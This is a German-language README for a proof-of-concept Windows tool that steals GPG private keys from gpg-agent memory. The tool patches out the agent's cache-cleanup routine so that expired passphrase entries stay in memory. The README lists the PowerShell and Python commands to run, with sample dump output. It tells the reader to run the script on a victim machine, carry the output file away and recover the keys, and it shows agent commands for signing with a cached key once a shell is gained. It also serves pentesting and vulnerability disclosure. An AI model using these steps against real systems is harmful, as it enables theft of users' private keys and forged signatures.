
GPG Reaper - GPG-private Schlüssel aus dem gpg-agent-Cache/Speicher erhalten/stehlen/wiederherstellen
TL;DR: GPG-Private Keys aus dem gpg-agent-Cache/Speicher erlangen/stehlen/wiederherstellen
Dieser POC demonstriert eine Methode, um GPG-Private Keys aus dem gpg-agent-Speicher unter Windows zu erlangen.
Normalerweise sollte dies nur innerhalb eines Zeitrahmens von 10 Minuten möglich sein (Wert von --default-cache-ttl).
Leider wird die Funktion housekeeping() (die für die Cache-Bereinigung zuständig ist) nur ausgeführt, wenn Sie GPG verwenden (dort gibt es keinen Timer).
Das bedeutet, dass bei normalem GPG-Einsatz, wie: Sie signieren eine Datei, schließen dann die GUI und erledigen andere Aufgaben, Ihr Passwort immer noch im gpg-agent-Speicher ist (selbst wenn die TTL abgelaufen ist).
Ein Angreifer, der Zugriff auf Ihre aktuelle Sitzung hat, kann dies zum Stehlen des Private Keys nutzen, ohne Ihre Passphrase zu kennen.
HINWEIS: GPG wird den Caching-Mechanismus in Version 2.2.6 ändern. Siehe Commit und Issue.

pip install PGPy
Wenn Sie folgendes erhalten:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
dann:
pip install six==1.10.0
Installieren Sie Gpg4Win 3.0.3
Öffnen Sie die Befehlszeile und starten Sie den Agent mit einer Cache-Zeit von 2 Sekunden:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2



Wiederholen Sie Schritt 4-5. Jedes Mal erscheint pinentry, weil unser 2-Sekunden-Cache abgelaufen ist
Führen Sie GPG Reaper aus
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Sie werden etwas sehen wie:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Wie Sie sehen können, haben wir den Schlüssel ausgelesen. Dies ist möglich, weil wir die housekeeping-Funktion genoppt haben.
python gpg_reaper.py .\testme.txt
Der Private Key wird in die Datei ausgegeben:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent ist ein Daemon zur Verwaltung von Private Keys unabhängig von einem Protokoll.
Die GUI-Schnittstelle kommuniziert mit dem Agent über das Assuan-Protokoll.
Standardmäßig cached der Agent Ihre Anmeldedaten.
Die Option --default-cache-ttl n setzt die Gültigkeitsdauer eines Cache-Eintrags auf n Sekunden.
Der Standardwert ist 600 Sekunden. Jedes Mal, wenn auf einen Cache-Eintrag zugegriffen wird, wird sein Timer zurückgesetzt.
Unter Windows sieht der Signiervorgang wie folgt aus:

Der entscheidende Teil ist die Funktion housekeeping(), die für das Entfernen abgelaufener Anmeldedaten aus dem Speicher verantwortlich ist.
Aber es gibt ein Problem: Diese Funktion wird nur an zwei Stellen ausgeführt (innerhalb von agent_put_cache und agent_get_cache).
Das bedeutet, dass gecachte Anmeldedaten NICHT aus dem Speicher entfernt werden, bis einige gpg-agent-Befehle ausgeführt werden, die agent_put_cache oder agent_get_cache oder agent_flush_cache verwenden.
Auf dem Opfercomputer:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Übertragen Sie out.txt auf Ihren Rechner und stellen Sie die Private Keys wieder her:
gpg_reaper.py out.txt
Die Private Keys werden in separate Dateien ausgegeben.
Wenn GPG außerhalb der Standardverzeichnisse installiert ist:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Wenn Sie keine Debug-Meldungen wünschen:
Gpg-Reaper -Verbose $false
Nehmen wir an, Sie führen Penetrationstests durch und erhalten eine Shell auf einem Rechner mit installiertem GPG.
Wenn Sie Glück haben und der Benutzer GPG kürzlich verwendet hat und der Cache nicht abgelaufen ist, können Sie:
Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Leider funktioniert dies nicht wie erwartet und fragt nach dem Passwort.